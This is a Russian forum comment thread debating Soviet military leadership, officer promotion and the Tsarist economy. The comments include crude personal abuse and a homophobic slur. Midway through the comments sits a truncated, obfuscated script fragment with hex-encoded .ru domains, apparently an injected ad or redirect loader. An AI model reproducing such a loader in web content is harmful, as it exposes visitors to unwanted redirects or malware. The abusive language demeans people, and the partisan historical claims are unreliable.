СИСТЕМА ВОЕННОГО ОБРАЗОВАНИЯ – НИ К ЧЁРТУ!

Опубликовано:
Источник: оригинал
Комментариев: 252
5
Средняя: 5 (голоса)

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".
гастат
Аватар пользователя гастат

для Одессит

 Рокоссовский не просто компетентный, а самый компетентный из полководцев Сталина. Ещё и с высочайшими морально-нравственными качествами. Его солдатского мужества хватало и со Сталиным спорить. Был он выше и тяги к побрякушкам, свойственной высшему генералитету поголовно, барахло из побеждённой Германии ни вагонами, ни машинами не тащил. В начале войны корпус свой из окружения вывел умело, можно сказать, играючи. Тут же был замечен Сталиным и пошёл на повышение.                                                                                                                                                                                                                                                                                                                                                              Вот в статье говорится о неудаче Рокоссовского в контрударе под Москвой и его обиде на Жукова, самоустранившегося от планирования этого манёвра, соответственно и от ответственности тоже. Но, кому как не Рокоссовскому, было известно, что Жуков в планировании абсолютный баран? Ходячая кувалда Сталина, образно говоря, как на аватарке у Крола. Ведь, сдавая в своё время полк, Рокоссовский написал в характеристике Жукова-"органически не выносит штабной работы". Жуков в тот момент был его подчинённым. Какие  академии после этого Жуков бы не кончал, бараном был, бараном бы и остался. Тут скорее не обида на Жукова как такового, а на несправедливость, что этот баран вообще командует Рокоссовским, и последний перед первым отчитывается. Личная гордость. Ничего плохого в этой гордости нет, но только при условии, что этими командирами рулит стратег. Только представьте какой бардак  полководцы развели бы без Сталина. Рокоссовский это понимал, всю жизнь  сохраняя безграничное уважение к Иосифу Виссарионовичу. Какая уж там война по академической науке...                                                                                                                                                                                                                                                                                                             По поводу младших командиров, до комбатов включительно, вы абсолютно правы. Они и бойцов своих знали поимённо и их личные качества. В атаку вместе ходили и из одного котелка ели. В обиду подчинённых бы ни за что не дали, они и были для них "батями". А вот с уровня комполка и начиналось участие командира в иерархии исполнителей. Которые не творческим делом занимались, а тупо обязаны были выполнять приказы вышестоящих контролёров. Кто с этим не справлялся или был не согласен, с должности комполка вылетал обратно в батальон. И так до самого верха, до высшего генералитета. Тут то и начинается угодничество и чинопочитание. Какая академия может это сломать и входит ли эта ломка в её задачи?

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

гастат Рокоссовский не просто компетентный,

 А вот с уровня комполка и начиналось участие командиров в иерархии исполнителей...

Есть одна хорошая гипотеза  показывающая причину деградации советского руководства
В кратце так:

В 1917 власть захватила наименее образованая часть общества. 
Тупые, но гордые коммунисты более всего опасались потери  должностей и потому брали в замы кадров заведомо тупее себя.. 
Помирали,  замы занимали их место и становясь "самами" брали ещё более тупых замов....
И так непрерывно  с 1917 по 1990....
.  Так что к 2000 мозгов в КПССе вообще не осталось.  

 
гастат
Аватар пользователя гастат

для Гость вредный

 Вы горячечный бред любОго индивидуума "хорошей гипотезой" называете? Фильтр в мозг себе от идиотизма окружающих поставьте, коль скоро осмысливать информацию не научились. Да, и с изучением опусов Фрейда завязывайте, последствия могут быть. Вот вам для осмысления хорошая гипотеза: зачитавшись очередной раз Фрейдом, ваши половинки мозга влюбятся друг в друга, достигнут коитуса, а их оргазм приведёт к остекленению вашего бессмысленного взгляда и стеканию слюны из полуоткрытого рта, причём пожизненно.

 
f16a
(не проверено)
Аватар пользователя f16a

 Гастату.  Не будьте черезчур

Гастату.  Не будьте черезчур жестоки к Гостю вредному.  Запретите пи..ру гомосексуализм он быстро загнется от потери цели в жизни.  При совке увлечение всякой ерундой не приветствовалось вот Гость вредный до сих пор и зол на него.   Как и алкаши, бомжи, уголовники.  С уважением, Олег.

 
гастат
Аватар пользователя гастат

для f16a

 По отношению к находящемуся в блаженном отупении, жестокость может проявляться только при физическом воздействии, не переживайте за вредного, у меня и в мыслях нет быть к нему жестоким.

 
f16a
(не проверено)
Аватар пользователя f16a

 Гастату.  А может быть он

 

Гастату.  А может быть он этим зарабатывает?  Дела у режима идут неважно, отсюда необходимость в антисоветских  зомбибайках для запугивания населения.  А вообще редкий юродивый ценит нормальное отношение к себе окружающих.  Отсюда соответствующее поведение.  С уважением, Олег.

 
гастат
Аватар пользователя гастат

для f16a

 Врядли. Отсутствие критического мышления не позволяет оценить источник информации. Валится всё в кучу, загромождая мозг (свободный от восприятия научной информации, при получении высшего образования, на 99% как я понял) и создавая непроходимые завалы из этого хлама. А словоохотливость+детская непосредственность ищут выплеска наружу (отсюда и изредка встречающиеся здравые мысли). От этого блаженное отупение получает эмоциональную подпитку, а пациенту кажется, что всё происходит по Фрейду. Он его заново штудирует, в общем, замкнутый круг.

 
f16a
(не проверено)
Аватар пользователя f16a

 Гастату.  Поздравляю,

Гастату.  Поздравляю, здраво.  С уважением, Олег.

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

гастат Вы горячечный бред любОго

 Вы горячечный бред любОго индивидуума хорошей гипотезой называете?...

Ну опровергнуть -то вы не в силах. Даже при помощи "горячечного бреда" в виде предыдущего поста.

ваши половинки мозга влюбятся друг в друга 

Это из вашего  личного опыта?  
Коммунизм головного мозга это трудно излечимая болезнь....

 
гастат
Аватар пользователя гастат

для Гость вредный

 Вот видите, вы даже с простеньким тестом на осмысление короткого текста не справляетесь. А между тем, посыл моего поста был в том, что озвученная вами "хорошая гипотеза" по интеллектуальной составляющей, равна той, что подкинул я - вам (о каком опровержении может быть речь в шутке юмора?). Вы же родили в итоге только один вывод: те, кто не воспринимают всерьёз Фрейда-коммунисты, а в придачу, что коммунизм-болезнь (и с чего вы взяли, что я коммунист то? ужас просто). Вы лучше избавляйтесь от детской привычки в диалогах оставлять всегда последнее слово за собой, а сделайте упор на здравомыслие в общении, это избавит вас от постоянного сидения в луже.

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

гастат Вот видите, вы даже с простеньким

 озвученая вами "хорошая гипотеза" по интеллектуальной составляющей равна той, что подкинул я

Увы, ваша мысль ничего окромя отсутствия "интеллектуальной составляющей" в соитийствующих половинах вашего мозга не показывает.  

и с чего вы взяли что я коммунист то?

Из интеллектуальности ваших "шуток юмора" 

 

 
f16a
(не проверено)
Аватар пользователя f16a

 Гостю вредному.  И что

Гостю вредному.  И что мешало царской власти поднять промпроизводство и уровень жизни населения до уровня передовых стран Запада?  Избыток ума?  С уважением, Олег.

 
Гость
(не проверено)
Аватар пользователя Гость

f 16 Уровень производства был

f 16 Уровень производства был на уровне западных стран. Чуть проигрывали Германии. По зарплатам - в 1918 году англичане в Мурмане показали нашим рабочим сколько получает такой же рабочий в Англии - результативность агитации правительства номинально Ленина, фактически, Свердлова, упала до нуля.

Россия в начале 20 века фактически ограниченная монархия. Император, конечно мог разогнать Думу. Юридически. Фактически это выливалось в финансируемые Европой "майданы". Видимо Европа желала увидеть Россию в своих рядах? Ага! Спала и видела.

То, что теперь в России считается благом - иностранные инвестиции, то императорской России теми же либеральными историками ставится в укор. Простите, уважаемые, где же логика?  И где логика войны центрального правительства РСФСР с "Белым движением", якобы поддержанным Антантой? Только что Британская Империя, Франция и выползшие из кокона изоляционизма США разгромили Германию, Австро-Венгрию, Турцию... и не смогли при поддержке Японии разгромить центр России? А насколько цели белогвардейцев соотвествовали целям оккупантов? Или там другие цели были, потому и оружие со старых русских складов уничтожалось, а Колчаку вместо заказанных и оплаченных пулеметов Льюиса, прислали пулеметы Сент-Этьена? При этом, "интервенты" всячески сдерживали наступательные действия Деникина, налаживая финансовые мосты с Советской Россией. Вот и вся интервенция, Троцкий с американским паспортом, Ленин с немецким. Где русское золото? А оно того... тю-тю, самоликвидировалось.

Что мешало? "Теплая дружба друзей", со времен Севастополя мешала.

С уважением, Андрей.

 
f16a
(не проверено)
Аватар пользователя f16a

 Гостю.  Небольшая поправка.

 

Гостю.  Небольшая поправка.  Под уровнем промпроизводства  я имел в виду его объем.   Тут отставание было явным.  Алюминий вообще при царе не выпускали.  Хотя бокситы были под носом у государя в Тихвине.  Насчет зарплат точно не знаю.  Но США авто выпускали больше чем РИ, значит покупателей авто в США было больше.   Насчет интервенции в Гражданскую.   Андрей, если быть кратким, то произошедшее можно выразить фразой:  "друзья" кинули царя, но государь этого не знал и не хотел знать.  "Друзья" со времен Севастополя сбросили маски.  Что мешало царям порвать с ними?  Мало того, "друзья" стали прибирать РИ к своим рукам сразу как только разрешили иностранные инвестиции.  Донецк до 1917-го назывался Юзовкой в честь своего английского хозяина.  По данным Широкорада, артиллерийские заводы де-факто принадлежали Шнайдеру и он хозяйничал как хотел.  152-мм гаубицы приняли его образца а не Круппа.  Орудийный завод в Мотовилихе простаивал.  Шнайдеру было удобнее управлять производством, сосредоточенном в одном месте.  Результат известен.  Нехватка вооружений в ПМВ.  Что заставляло царя якшаться с "друзьями"? С уважением, олег.

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

Гость Уровень производства был на уровне

 Абсолютно верно!!!!
А вот тут дополню 

"Причины ненависти англичан к  славянским народам" 
Платон Акимович Лукашевич == величайший филолог и филосов России.

 

 
f16a
(не проверено)
Аватар пользователя f16a

 Гостю вредному.   Насчет

Гостю вредному.   Насчет верно.  Вы что цыфры с буквами забыли?  Возьмите статистику за 1913-й год по крупнейшим странам мира.  Разница в объемах промпроизводства весьма существенная.  Особенно между США и РИ, а если учесть то что в США тогда народу было меньше, картина становится совсем грустной.  Вам какой недуг мешает осилить арифметику?  Упомянутые вами псих. и сексуальные отклонения?  Вполне возможно.  С уважением, Олег.

 
Joker
(не проверено)
Аватар пользователя Joker

 Олег, истребитель и человек,

 Олег, истребитель и человек, а почему вы упорно намекаете на чудесную жизнь населения, пролетариата в частности, "в передовых странах Запада"? Перелистывая фантаста Г. Уэлса, все его "В дни кометы", "Тоно Бенге" -- как-то не видно ничего хорошего, а тем паче чудесного в жизни низов Англии. Популярность и оголтелость "социалистов" весьма убедительно обоснованы. Ну, и пинки К. Марксу, глубочайшее уважение большевиков и В. Ленина ("Россия во мгле") также имеют место быть. И тоже понятно, почему.

 
f16a
(не проверено)
Аватар пользователя f16a

 Джокеру.   ЕМНИП пролетариат

 

Джокеру.   ЕМНИП пролетариат практически нигде и никогда чудесно не жил.  За исключением обществ с элементами социализма.  Но кое-где низам перепадало крошек с барского стола поболее чем у соседей.  Что рядовым англичанам были совсем недоступны чай, кофе, сахар, рис, хлопок? Сомневаюсь.  Извините, Джокер, если в передовых странах Запада выпускалось металлов на душу населения в разы больше чем в РИ то где была большая доступность для населения металлической посуды и столовых приборов из металла?  И т.д. и т.п.  Авто доходяги и нищие не покупают.  Таких массовых акций протеста среди низов в конце 19-начале 20 века как в РИ в передовых странах Запада за исключением США не было.  От нищеты наверное.  Не было такого количества радикальных антиправительственных организаций.  Наверное усердная работа спецслужб.  На Западе раньше отменили телесные наказания для взрослых.  Исключение Гражданская война в США.  Эмиграция в передовых странах была меньше.  И самое главное, западные вливания в РИ.  Извините, дельцам нужны минимальные издержки для максимальной прибыли.  В том числе и экономия на зарплате.  Это правило и сейчас работает.  Так что слишком большой зарплата у русских рабочих просто не могла быть.  С уважением, Олег.

 
Joker
(не проверено)
Аватар пользователя Joker

f16-му

Олег, вот мой дед был при царе рабочим-механиком в Самаре. Где и у кого -- увы, спросить давно уже некого. Получал он что-то 5 рублей за месяц. За год он построил дом, метров эдак под 200, купил мебеля и отправился жениться. При этом были от хозяина какие-то кормовые, ссуда на стройку, на дрова. На свадьбу тоже дал денег и отпуск. М-да. А прадед строил церкви от Самары до Самарканда, тоже не бедствовал ни разу!

А вот "временнные", крестьяне на заработках в той же Самаре, на той же фабрике, жили хуже скота, получали по 30 копеек в месяц и -- бухали, прогуливали, залупались во всю! И именно за это их штрафовали, и потому и получали они копейки!

И вот мой дед почему-то сразу встал на сторону большевиков! И вырос до весьма "великого коммуниста". Значит, дело было в другом, и я думаю, что в совершенно новых идеях и действиях большевистской власти. Был ли Ленин сумасшедшим -- очень сомнительно. Впрочем, "ленин в мавзолее" никак не может быть тем свмым Лениным. Не может человек с таким диагнозом быть дееспособным.

 
f16a
(не проверено)
Аватар пользователя f16a

 Джокеру.  Спасибо за хороший

 Джокеру.  Спасибо за хороший пост.  Интересно, оригинально, пища для размышлений.  С уважением, Олег.

window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="19362",o=function(e){var

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

Joker вот мой дед был при царе рабочим-механиком

 Где- то в 1980х в комсомолке было интервью с участником восстания 1905 года...
Так он рассказывал:
Работал он на "трёхгорке"  
При фабрике было общежитие для холостяков, дома для семейных, школа, больница...и.т.д.
Его как способного отличили  и послали в Питер на курсы мастеров.  
В программу курсов входило еженедельное посещение оперы или балета.... 
Его зарплата когда был рабочим -- 5 руб/мес. Мастером-30 руб/мес. Фунт хлеба стоил полкопейки, костюм тройка с двумя брюками -3 рубля... Обед без водки 5 коп.
Штраф за прогул 1/3 зарплаты.  

В общем расписал он отличную жизнь. А на вопрос кореспондента "А зачем в революцию пошли?" Ответил просто: А нам ещё лучше жизнь обещали....

 
Aleksey2
Аватар пользователя Aleksey2

Для Гость вредный.

Гость вредный: "Где- то в 1980х в комсомолке было интервью с участником восстания 1905 года..."

Ага, а ни номера ни года конечно не запомнил.

Гость вредный: "Его зарплата когда был рабочим -- 5 руб/мес. Мастером-30 руб/мес. Фунт хлеба стоил полкопейки, костюм тройка с двумя брюками -3 рубля... Обед без водки 5 коп."

Прокомментируйте это фото:

http://hivede9-507.fornex.org/uploads/posts/2013-02/1360581391_87.jpg

А то я не вижу тут ни костюмов за 3 рубля, ни даже обеда за 5 коп. Не говоря уж про обувь.

А, вот наверное, эти рабочие в костюмах тройках по 3 руб и с обедом за 5 коп:

http://nasledie.dubna.ru/pictures/653_21.jpg

А вот и дома для семейных:

http://i.blog.fontanka.ru/photos/2015/07/800x600_4V8UP02n8kJZm1prNWIf.jpg

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

Aleksey2 Ага, а ни номера ни года конечно не запомнил.

 Ага, ни номера, ни года конечно не запомнил

Знал бы что вы встретитесь обязательно б сохранил...

Вы про "Народный дом" Николая 2 в питере слыхали? А в иных городах?  

Вот вам дом питерский  Нобеля для рабочих

 

 

 

 

 
Aleksey2
Аватар пользователя Aleksey2

Для Гость вредный.

Гость вредный: "Вот вам дом питерский Нобеля для рабочих"

Ага. А вот дом для рабочих в Москве:

http://makhachkala-tr.gazprom.ru/d/story/5d/93/e36a0066_resize.jpg

 
Wazawai
Аватар пользователя Wazawai

:3

Да это ж переодетый в костюм-тройку Бурмак, с двумя штанами (одни на голове). Вы на серъёзный ответ расчитываете?

 

Грешно смеяться над больными людьми!

 
 
Joker
(не проверено)
Аватар пользователя Joker

Почему это "В 1917 власть

Почему это "В 1917 власть захватила наименее образованая часть общества"? Очень даже образованная. Ленин там, Троцкий. Луначарский. Один Ленин 54 тома написал. Сам. Сталин штук 33 написал. И почему это "умный" подчиненный оказывается на деле дурак-дураком -- не может выбиться в люди? Или вы полагаете, что "быть дураком при умном начальнике" есть самое прекрасное карьерное место? Замом всегда ставят того, кто тянет всю работу. ССР угробила геронтократия. А "сталинизм" уж точно осточертел еще самому И. В. Сталину. Чет-то он замыслил -- типо "делократии", но соратники решили, что работать им придется еще больше, и "решили вопрос".

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

Joker Почему это "В 1917 власть захватила

 Почему это "в 1917 году власть захватила наименее образораная часть общества"?  Очень даже образоранная. Ленин там, Троцкий, Луначарский. Один Ленин 54 тома написал....

Уточняю:   я говорил о власти на местах и на хозяйстве. А это на 90%  классические Швондеры.
А касательности  "образованности" ленина и компании, то  диагнозы психиатров на эти труды весьма однозначны.
Шизофрения /раздвоение личности/ с маниакальным политическим бредом.  Например  главный труд ленина "Материализм и импириокритицизм" Бухарин открыто называл бредом сумашедшего.

Очень приличная статья  Психологический портрет ленина

СССР угробила геронтократия

Да ну? Деды  наоборот зубами за СССР держались, на том и вымерли... 

 
Махновец
(не проверено)
Аватар пользователя Махновец

А вспомните оценку

А вспомните оценку гражданским летуном Головановым навыков и умений летчиков ДА в начале войны. По  памяти: была отвратительная штурманская подготовка. Плохо летали по картам, плохо летали по радиомаякам, не умели летать вслепую. Все это зато умели делать пилоты ГВФ. Или по-моему воспоминания

Как я понял, школа нужна для того, чтобы внедрить определенные понятия в сознание человека и научить его коммуницировать в среде. В реальной же ситуации общественное устройство и состояние материальной среды накладывают на человека дополнительные ограничения, да и забывают они все. Возможно в 1941 большинство из комсостава думало: "Блин куда я попал?! Или блин, ведь было так хорошо! Господи, за что мне это?!"

 
Гость
(не проверено)
Аватар пользователя Гость

 Насчёт учебного полка.

 Насчёт учебного полка. Комроты мы видали редко, а комвзвода были вполне нормальные. И замполит хороший попался. Мне тоже кажется, что до комбатов включительно офицеры вполне адекватны своим должностям. Дальше судить не берусь, но уже со штаба полка начинают попадаться не вполне нормальные личности.

Приехал в полк новый зампотыл полка из союза, в столовой пропадают ложки. Он останавливает перед входом каждую роту и все стоят ждут пока дежурный по роте не пересчитает ротные ложки и не доложит что все на месте, типа если не хватает надо найти. Весь полк ждёт в том порядке в каком пришёл к столовой. Как наши старые старлеи на него орали матом!  Нам всем понравилось. Всему полку. А перед этим он выстроил полк и доложил старую шутку о том как болел минингитом, чтоб его боялись. Это зампотыл, а амбиций как у генералисимуса. Правда его быстро заткнули, поэтому больше выходок не было. Ну, у нас ещё комполка был боевой афганец. А ведь где-то этот зампотыл служил со своими амбициями, его из союза к нам из кадрированной части перевели, считай с повышением. Может он обалденный спец, хоть и дурак?

По моему естественный отбор в армии идёт только до капитанских и подполковничьих должностей, а дальше своими способностями, без большой войны типа ВОВ и Сталина в главкомах, пробиться трудно. А волосатая лапа понятно кого отбирает, тех кто умеет угодить.

Вот в этом причина, в стимулах, а не в образовании. Образование при необходимости человек волен получать сам. Офицерам дают всё необходимое образование. И навыки по планам подготовки оттачивают. Насколько ты всё это воспринимаешь, насколько ты всё это дополняешь собственным интересом к делу и самоподготовкой - это уже только от тебя зависит.

А ты зависишь от системы стимулов. До должности комбата у тебя стимул сделать роту и батальон лучшим по критериям установленным планами учёбы. Чтоб строем пройти могли, стреляли процентов на 90 попаданий, вождение без проишествий по нормам, техника в исправности, чп и залётов за период чтоб не было, внешний вид людей, техники, расположения, исполнение поставленных задач и прочее.

А вот с комполка и выше стимулы другие. За свои подразделения капитаны стараются, а ты уже должен связи искать если хочешь пойти выше. Ведь в СА дивизий всего пару сотен, из них три четверти кадрированные. Ну ещё есть вакансии начальников крупных гарнизонов приравненных к дивизии, но это уже хужее, на ступень ниже, начальник училища больше ценится. А вакансий командармов и комокруга ещё меньше. А давать звания без должности не очень принято, хоть парадную, а должность надо придумать под генерала. Здесь без лизоблюдства уже просто трудно продвинуться. И именно здесь начинает строиться система генеральской мафии. Ведь из десятков тысяч лейтенантов в союзе ССР в генералы выйдут пара сотен. В рашке генеральских вакансий ещё меньше, но правда и лейтенантов меньше.

А обучение здесь ни при чём. Для него просто уже ни желания нет, ни надобности. От полковника и выше заботы совсем другие. Мало кто на высоких должностях будет заботится о деле как генералы Маргелов или Неделин. Для этого генералы должны через войну пройти, и то не у каждого она в душе отложится.

 
Анти-мухин
(не проверено)
Аватар пользователя Анти-мухин

Парадом командовать –

Парадом командовать – запросто, Родину предать – без проблем, на беспомощную Грузию навалиться – да с удовольствием!

 

Я так понимаю, что если б война в Чечне в 94-ом закончилась победно, то мухин бы говорил "на беспомощную Чечню навалиться".

 

Во-первых, не Россия на Грузию навалилась, а сама Грузия навалилась на Осетию и тот контингент России, который там был. Во-вторых, перед той войной несколько лет как, то все военные "эксперты" типа фенгельгауэра и т.п., утверждали, что Грузия далеко не беспомощна, что там "не кучка горцев" и Россия там утонет в крови на долгие годы.

После таких сетненций, ну как можно не желать мухину посадки?

 

Отправить комментарий

Содержание этого поля является приватным и не предназначено к показу.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешённые HTML-теги: <img> <a> <em> <i> <strong> <b> <u> <strike> <p> <br> <ul> <ol> <li> <div> <blockquote>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании текста

CAPTCHA
Проверка, что Вы не робот
CAPTCHA на основе изображений
Введите символы, которые показаны на картинке.